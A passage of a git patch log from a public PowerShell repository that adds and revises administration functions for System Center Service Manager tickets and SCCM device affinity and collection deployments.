$Comment.ClassName + $Tickets = Get-SCSMObject -id $GUID + } + ELSE + { + if ($DateTime -is [String]) { $DateTime = Get-Date $DateTime } + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.incident$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + $AssignedTo = (Get-SCSMRelatedObject -SMObject $CurrentTicket -Relationship $AssignedUserClassRelation) + Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog' })) + { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketTierQueue = $CurrentTicket.TierQueue.displayname + TicketAssignedTo = $AssignedTo.DisplayName + TicketCreatedDate = $CurrentTicket.CreatedDate + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } } } + } } \ No newline at end of file diff --git a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 new file mode 100644 index 00000000..ad317be7 --- /dev/null +++ b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 @@ -0,0 +1,75 @@ +function Get-SCSMServiceRequestComment +{ +<# + .SYNOPSIS + Function to retrieve the comments from a Service Request WorkItem + + .DESCRIPTION + Function to retrieve the comments from a Service Request WorkItem + + .PARAMETER DateTime + Specifies from when (DateTime) the search need to look + + .PARAMETER GUID + Specifies the GUID of the Service Request or Incident + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime $((Get-Date).AddHours(-15)) + + .EXAMPLE + Get-SCSMServiceRequestComment -DateTime "2016/01/01" + + .EXAMPLE + Get-SCSMServiceRequestComment -GUID 221dbd07-b480-ee33-fc25-6077406e83ad + + .NOTES + Francois-Xavier Cat + www.LazyWinAdmin.com + @lazywinadm +#> + + PARAM + ( + [Parameter(ParameterSetName = 'General', + Mandatory = $true)] + $DateTime = $((Get-Date).AddHours(-24)), + + [Parameter(ParameterSetName = 'GUID')] + $GUID + ) + + IF ($PSBoundParameters['GUID']) + { + $Tickets = Get-SCSMObject -id $GUID + } + ELSE + { + if ($DateTime -is [String]){ $DateTime = Get-Date $DateTime} + $DateTime = $DateTime.ToString(“yyy-MM-dd HH:mm:ss”) + $Tickets = Get-SCSMObject -Class (Get-SCSMClass System.WorkItem.servicerequest$) -Filter "CreatedDate -gt '$DateTime'" #| Where-Object { $_.AssignedTo -eq $NULL } + } + + $Tickets | + ForEach-Object { + $CurrentTicket = $_ + $relatedObjects = Get-scsmrelatedobject -SMObject $CurrentTicket + Foreach ($Comment in ($relatedObjects | Where-Object { $_.classname -eq 'System.WorkItem.TroubleTicket.UserCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AnalystCommentLog' -or $_.classname -eq 'System.WorkItem.TroubleTicket.AuditCommentLog'})) + { + # Output the information + [pscustomobject][ordered] @{ + TicketName = $CurrentTicket.Name + TicketClassName = $CurrentTicket.Classname + TicketDisplayName = $CurrentTicket.DisplayName + TicketID = $CurrentTicket.ID + TicketGUID = $CurrentTicket.get_id() + TicketSupportGroup = $CurrentTicket.SupportGroup.displayname + TicketAssignedTo = $CurrentTicket.AssignedTo + TicketCreatedDate = $CurrentTicket.CreatedDate + Comment = $Comment.Comment + CommentEnteredBy = $Comment.EnteredBy + CommentEnteredDate = $Comment.EnteredDate + CommentClassName = $Comment.ClassName + } + } + } +} \ No newline at end of file From 353e78d896cab32f1ddd43a8c9a72046f5dd160a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Jan 2016 10:32:12 -0500 Subject: [PATCH 039/561] Update Get-SCSMWorkItemAffectedUser Params GUID and SMObject --- .../Get-SCSMWorkItemAffectedUser.ps1 | 70 +++++++++++++------ 1 file changed, 49 insertions(+), 21 deletions(-) diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index bfd5553a..86474944 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -1,4 +1,4 @@ -Function Get-WorkItemAffectedUser +function Get-SCSMWorkItemAffectedUser { <# .SYNOPSIS @@ -7,44 +7,72 @@ .DESCRIPTION Function to retrieve the Affected User of a Work Item - .PARAMETER WorkItem - Specifies the object to query + .PARAMETER SMObject + Specifies the SMObject(s) on which the affected need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the affected need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemAffectedUser -SMObject $SR,IR .EXAMPLE - PS C:\> Get-WorkItemAffectedUser -WorkItem $SR,IR + $SR,IR | Get-SCSMWorkItemAffectedUser .EXAMPLE - PS C:\> $SR,IR | Get-WorkItemAffectedUser + Get-SCSMWorkItemAffectedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 .NOTES Francois-Xavier Cat @lazywinadm www.lazywinadmin.com - - 1.0 Based on Cireson's consultants Script #> - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline)] - $WorkItem + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid ) + BEGIN { $wiAffectedUser_obj = $null - Import-Module -Name SMLets -ErrorAction Stop + Import-Module -Name SMLets -ErrorAction Stop + + # AffectedUser RelationshipClass + $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' + $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser } PROCESS { - foreach ($Item in $WorkItem) + IF ($PSBoundParameters['GUID']) + { + foreach ($Item in $GUID) + { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) { - Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" - # AffectedUser RelationshipClass - $RelationshipClass_AffectedUser = 'dff9be66-38b0-b6d6-6144-a412a3ebd4ce' - $RelationshipClass_AffectedUser_Object = Get-SCSMRelationshipClass -id $RelationshipClass_AffectedUser - - Get-ScsmRelatedObject -SMObject $Item -Relationship $wiAffectedUser_relclass_obj | - Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, - @{ Label = "WorkItemName"; Expression = { $Item.get_id() } },* + foreach ($Item in $SMObject) + { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AffectedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } } } } From 2f0bf57c9a99b406920226e0b1d4d7158a0726b3 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Jan 2016 10:45:26 -0500 Subject: [PATCH 040/561] Update SCSM Assigned and Affected Functions --- .../Get-SCSMWorkItemAffectedUser.ps1 | 1 - .../Get-SCSMWorkItemAssignedUser.ps1 | 76 +++++++++++++++++++ 2 files changed, 76 insertions(+), 1 deletion(-) create mode 100644 SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index 86474944..48681e01 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -43,7 +43,6 @@ BEGIN { - $wiAffectedUser_obj = $null Import-Module -Name SMLets -ErrorAction Stop # AffectedUser RelationshipClass diff --git a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 new file mode 100644 index 00000000..8f35a78f --- /dev/null +++ b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 @@ -0,0 +1,76 @@ +function Get-SCSMWorkItemAssignedUser +{ +<# + .SYNOPSIS + Function to retrieve the Assigned User of a Work Item + + .DESCRIPTION + Function to retrieve the Assigned User of a Work Item + + .PARAMETER SMObject + Specifies the SMObject(s) on which the Assigned need to be retrieve. + + .PARAMETER Guid + Specifies the GUID of the SMObject on which the Assigned need to be retrieve. + + .EXAMPLE + Get-SCSMWorkItemAssignedUser -SMObject $SR,IR + + .EXAMPLE + $SR,IR | Get-SCSMWorkItemAssignedUser + + .EXAMPLE + Get-SCSMWorkItemAssignedUser -GUID 5bd5e783-c8a1-0217-9e19-f82823ef4f87 + + .NOTES + Francois-Xavier Cat + @lazywinadm + www.lazywinadmin.com +#> + + [CmdletBinding(DefaultParameterSetName = 'GUID')] + param + ( + [Parameter(ParameterSetName = 'SMObject', + Mandatory = $true, + ValueFromPipeline = $true)] + $SMObject, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $Guid + ) + + BEGIN + { + Import-Module -Name SMLets -ErrorAction Stop + + # AssignedUser RelationshipClass + $RelationshipClass_AssignedUser_Object = Get-SCSMRelationshipClass -Name System.WorkItemAssignedToUser$ + } + PROCESS + { + IF ($PSBoundParameters['GUID']) + { + foreach ($Item in $GUID) + { + $SMObject = Get-SCSMObject -id $item + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $SMObject -Relationship $RelationshipClass_AssignedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $SMObject.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $SMObject.get_id() } }, * + } + } + + IF ($PSBoundParameters['SMobject']) + { + foreach ($Item in $SMObject) + { + Write-Verbose -Message "[PROCESS] Working on $($Item.Name)" + Get-ScsmRelatedObject -SMObject $Item -Relationship $RelationshipClass_AssignedUser_Object | + Select-Object -Property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, + @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + } + } + } +} \ No newline at end of file From fc7a1dedb44648e0f722fe1d9547df591c10d341 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Jan 2016 10:49:17 -0500 Subject: [PATCH 041/561] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 601b1460..7ec0ffe6 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ PowerShell ========== -This repository is used for all my public script. +This repository is used for all my public scripts. +Let me know if you have any issues using them, always space for improvement +Feel free to fork www.lazywinadmin.com From e0b9b87eebe38e6ed2474a6b603bef86dc0bec44 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 2 Feb 2016 11:48:52 -0500 Subject: [PATCH 042/561] Update RA functions --- .../Add-SCSMReviewActivityReviewer.ps1 | 4 +- .../Get-SCSMReviewActivityReviewer.ps1 | 75 +++++++++++++++++++ 2 files changed, 77 insertions(+), 2 deletions(-) rename SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 => SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 (92%) create mode 100644 SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 diff --git a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 similarity index 92% rename from SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 rename to SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 index 69ca1294..70b91bb0 100644 --- a/SCSM-Add-SCSMWorkItemRAReviewer/Add-SCSMWorkItemRAReviewer.ps1 +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -1,4 +1,4 @@ -function Add-SCSMWorkItemRAReviewer +function Add-SCSMReviewActivityReviewer { <# .SYNOPSIS @@ -20,7 +20,7 @@ Specifies the WorkItem ID of the Review Activity .EXAMPLE - PS C:\> Add-SCSMWorkItemRAReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' + PS C:\> Add-SCSMReviewActivityReviewer -UserName 'francois-xavier' -veto $true -WorkItemID '2aa822b0-b144-3acf-bee3-9a11714c5de0' .NOTES Francois-Xavier Cat diff --git a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 new file mode 100644 index 00000000..47d3d648 --- /dev/null +++ b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 @@ -0,0 +1,75 @@ +function Get-SCSMReviewActivityReviewer +{ + <# + .SYNOPSIS + Function to retrieve the reviewers of a Review Activity + + .DESCRIPTION + Function to retrieve the reviewers of a Review Activity + + .PARAMETER ActivityObject + Specifies the Service Manager Object + + .PARAMETER ActivityName + Specifies the Name of the Ticket (Example RA1000) + + .PARAMETER ActivityGUID + Specifies the GUID of the Activity + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityObject $RA + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityGUID '04ddd0a1-993a-13dc-68a8-c434270df5a2' + + .EXAMPLE + Get-SCSMReviewActivityReviewer -ActivityName 'RA1234' + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #> + + [CmdletBinding(DefaultParameterSetName = 'Object')] + param + ( + [Parameter(ParameterSetName = 'Object', + Mandatory = $true, + ValueFromPipeline = $true)] + $ActivityObject, + + [Parameter(ParameterSetName = 'Name', + Mandatory = $true)] + $ActivityName, + + [Parameter(ParameterSetName = 'GUID', + Mandatory = $true)] + $ActivityGUID + ) + + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS + { + IF ($PSBoundParameters['ActivityGUID']) + { + $RA = Get-SCSMObject -Id $ActivityGUID + } + IF ($PSBoundParameters['ActivityName']) + { + $RA = Get-SCSMObject (Get-SCSMClass System.WorkItem.Activity.ReviewActivity$) -Filter Id -eq $ActivityName + } + IF ($PSBoundParameters['ActivityObject']) + { + $RA = $ActivityObject + } + + + $RelationshipClassHasReviewer = Get-SCSMRelationshipClass System.ReviewActivityHasReviewer$ + $RelationshipClassReviewerIsUser = Get-SCSMRelationshipClass System.ReviewerIsUser$ + foreach ($Reviewer in (Get-SCSMRelatedObject -SMObject $RA -Relationship $RelationshipClassHasReviewer)) + { + Get-SCSMRelatedObject -SMObject $Reviewer -Relationship $RelationshipClassReviewerIsUser + } + } +} \ No newline at end of file From f9bb59dd61af8a7106ef507bee65d7e693ea98eb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 2 Feb 2016 14:16:05 -0500 Subject: [PATCH 043/561] SCCM User/Group Affinity on Device --- .../Add-SCCMGroupDeviceAffinity.ps1 | 84 +++++++++++++++++++ .../Add-SCCMUserDeviceAffinity.ps1 | 81 ++++++++++++++++++ 2 files changed, 165 insertions(+) create mode 100644 SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 create mode 100644 SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 diff --git a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 new file mode 100644 index 00000000..30a10480 --- /dev/null +++ b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 @@ -0,0 +1,84 @@ +Function Add-SCCMGroupDeviceAffinity +{ +<# + .SYNOPSIS + Function to add a group as primary user on a device + + .DESCRIPTION + Function to add a group as primary user on a device + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER GroupName + Specifies the Active Directory Group to add as a Primary User on a device + + .PARAMETER Credential + Specifies alternative credentials to use + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .EXAMPLE + Add-SCCMGroupDeviceAffinity -DeviceName WORKSTATION01 -GroupName "DOMAIN/GROUP01" + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Group Name")] + $GroupName, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) + { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) + { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $GroupName) +} \ No newline at end of file diff --git a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 new file mode 100644 index 00000000..365dbf95 --- /dev/null +++ b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 @@ -0,0 +1,81 @@ +Function Add-SCCMUserDeviceAffinity +{ +<# + .SYNOPSIS + Function to add a primary user on a device + + .DESCRIPTION + Function to add a primary user on a device + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER SiteServer + Specifies the SCCM Management Server + + .PARAMETER DeviceName + Specifies the DeviceName on which the Primary User will be added + + .PARAMETER DeviceID + Specifies the ResourceID of the Device + + .PARAMETER UserName + Specifies the UserName that will be added as a Primary User on the Device + + .PARAMETER Credential + Specifies alternative credentials to use + + .EXAMPLE + Add-SCCMUserDeviceAffinity -DeviceName WORKSTATION01 -UserName "DOMAIN/UserAccount" + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Site code")] + $SiteCode, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Site Server Name")] + $SiteServer, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter Device Name")] + $DeviceName, + + [Parameter()] + $DeviceID, + + [Parameter(Mandatory = $True, HelpMessage = "Please Enter User Name")] + $UserName, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + NameSpace = "root\sms\site_$SiteCode" + ComputerName = $SiteServer + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + + $AffinityType = 2 # Administrator defined + + IF ($PSBoundParameters['DeviceName']) + { + $ResourceID = (Get-WmiObject @Splatting -Class "SMS_CombinedDeviceResources" -Filter "Name='$DeviceName'" -ErrorAction STOP).resourceID + } + IF ($PSBoundParameters['DeviceID']) + { + $ResourceID = $DeviceID + } + + Invoke-WmiMethod @Splatting -Class "SMS_UserMachineRelationship" -Name "CreateRelationship" -ArgumentList @($ResourceID, $AffinityType, 1, $UserName) +} \ No newline at end of file From 17bdaac0ae623defd18297b73fe1d28b470c48e7 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 9 Feb 2016 13:03:51 -0500 Subject: [PATCH 044/561] Include the deploymenttypename --- .../Get-SCCMDeviceCollectionDeployment.ps1 | 41 ++++++++++++++++--- 1 file changed, 35 insertions(+), 6 deletions(-) diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index 087da33b..5cad1b3d 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -38,7 +38,6 @@ SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx #> - [CmdletBinding()] PARAM ( @@ -80,7 +79,7 @@ default { $DeploymentIntent = "NA" } } - Function Get-DeploymentIntentName + Function Get-SCCMDeploymentIntentName { PARAM( [Parameter(Mandatory)] @@ -92,7 +91,29 @@ if ($DeploymentIntent = 2) { Write-Output "Available" } if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } } - }#Function Get-DeploymentIntentName + } #Function Get-DeploymentIntentName + + function Get-SCCMDeploymentTypeName + { + <# + https://msdn.microsoft.com/en-us/library/hh948731.aspx + #> + PARAM ($TypeID) + switch ($TypeID) + { + 1 { "Application" } + 2 { "Program" } + 3 { "MobileProgram" } + 4 { "Script" } + 5 { "SoftwareUpdate" } + 6 { "Baseline" } + 7 { "TaskSequence" } + 8 { "ContentDistribution" } + 9 { "DistributionPointGroup" } + 10{ "DistributionPointHealth" } + 11{ "ConfigurationPolicy" } + } + } } PROCESS @@ -116,6 +137,11 @@ Foreach ($Deploy in $Deployments) { + # Get the Deployment type + $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentTypeid + if (-not $TypeName) { $TypeName = Get-SCCMDeploymentTypeName -TypeID $Deploy.DeploymentType } + + # Prepare output $Properties = @{ UserName = $DeviceName ComputerName = $ComputerName @@ -124,16 +150,19 @@ DeploymentID = $Deploy.DeploymentID DeploymentName = $Deploy.DeploymentName DeploymentIntent = $deploy.DeploymentIntent - DeploymentIntentName = (Get-DeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentIntentName = (Get-SCCMDeploymentIntentName -DeploymentIntent $deploy.DeploymentIntent) + DeploymentTypeName = $TypeName TargetName = $Deploy.TargetName TargetSubName = $Deploy.TargetSubname } + #Output the current object New-Object -TypeName PSObject -prop $Properties + + # Reset TypeName + $TypeName="" } - - } } } From 99b271dc69291633109f7c347a2c0ece24a96675 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 10 Feb 2016 18:04:32 -0500 Subject: [PATCH 045/561] Update SCCMUserCollectionDeployment function Include a filter for the Application Name and optimize some code --- .../Get-SCCMUserCollectionDeployment.ps1 | 119 +++++++++++------- 1 file changed, 71 insertions(+), 48 deletions(-) diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 29931db7..43eefceb 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -2,72 +2,80 @@ { <# .SYNOPSIS - Function to retrieve a User's collection deployment + Function to retrieve an User's collection deployments .DESCRIPTION - Function to retrieve a User's collection deployment - The function will first retrieve all the collection where the user is member of and + Function to retrieve an User's collection deployments + The function will first retrieve all the collections where the user is member of and find deployments advertised on those. - + The final output will include user, collection and deployment information. .PARAMETER Username Specifies the SamAccountName of the user. - The user must be present in the SCCM CMDB + The user must be present in the SCCM database. .PARAMETER SiteCode Specifies the SCCM SiteCode .PARAMETER ComputerName - Specifies the SCCM Server to query + Specifies the SCCM Server to query (Most likely the Management Server) .PARAMETER Credential Specifies the credential to use to query the SCCM Server. - Default will take the current user credentials + Default will take the current user credentials .PARAMETER Purpose Specifies a specific deployment intent. - Possible value: Available or Required. - Default is Null (get all) + Possible value: Available or Required. + Default is Null (get all) + + .PARAMETER ApplicationName + Specifies the exact name of the application to return - .EXAMPLE - Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required + .EXAMPLE + Get-SCCMUserCollectionDeployment -UserName francois-xavier.cat -SiteCode S01 -ComputerName SERVER01 -ApplicationName "Microsoft Visual C++ Redistributable 2005 x64" + + .EXAMPLE + Get-SCCMUserCollectionDeployment -UserName TestUser -Credential $cred -Purpose Required .NOTES - Francois-Xavier cat - www.lazywinadmin.com + Francois-Xavier cat + www.lazywinadmin.com @lazywinadm - + SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx #> [CmdletBinding()] - PARAM + [OutputType([System.Management.Automation.PSCustomObject])] + param ( - [Parameter(Mandatory)] + [Parameter(Mandatory = $true)] [Alias('SamAccountName')] - $UserName, + [String]$UserName, - [Parameter(Mandatory)] - $SiteCode, + [Parameter(Mandatory = $true)] + [String]$SiteCode, - [Parameter(Mandatory)] - $ComputerName, + [Parameter(Mandatory = $true)] + [String]$ComputerName, - [Alias('RunAs')] [System.Management.Automation.Credential()] + [Alias('RunAs')] $Credential = [System.Management.Automation.PSCredential]::Empty, [ValidateSet('Required', 'Available')] - $Purpose + [String]$Purpose, + + [String]$ApplicationName ) BEGIN { - # Verify if the username contains the domain name - # If it does... remove the domain name + # Verify if the username contains the domain name and remove it # Example: "FX\TestUser" will become "TestUser" if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } @@ -77,6 +85,7 @@ NameSpace = "root\SMS\Site_$SiteCode" } + # Credential IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential @@ -89,20 +98,20 @@ default { $DeploymentIntent = "NA" } } - Function Get-DeploymentIntentName + Function Get-SCCMDeploymentIntentName { - PARAM( - [Parameter(Mandatory)] - $DeploymentIntent - ) - PROCESS - { + PARAM ( + [Parameter(Mandatory)] + $DeploymentIntent + ) + PROCESS + { if ($DeploymentIntent = 0) { Write-Output "Required" } if ($DeploymentIntent = 2) { Write-Output "Available" } if ($DeploymentIntent -ne 0 -and $DeploymentIntent -ne 2) { Write-Output "NA" } } - }#Function Get-DeploymentIntentName - + } #Function Get-SCCMDeploymentIntentName + } PROCESS @@ -112,7 +121,7 @@ # Find the collections where the user is member of Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | - ForEach-Object { + ForEach-Object -Process { # Retrieve the collection of the user $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" @@ -121,16 +130,30 @@ # Retrieve the deployments (advertisement) of each collections Foreach ($Collection in $collections) { - IF ($DeploymentIntent -eq 'NA') - { - # Find the Deployment on one collection - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") - } - ELSE + + switch ($DeploymentIntent) { - $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + 'NA'{ + $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'" + if ($PSBoundParameters['ApplicationName']) + { + $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND TargetName='$ApplicationName'" + } + } + + default + { + $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'" + if ($PSBoundParameters['ApplicationName']) + { + $Query = "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent' AND 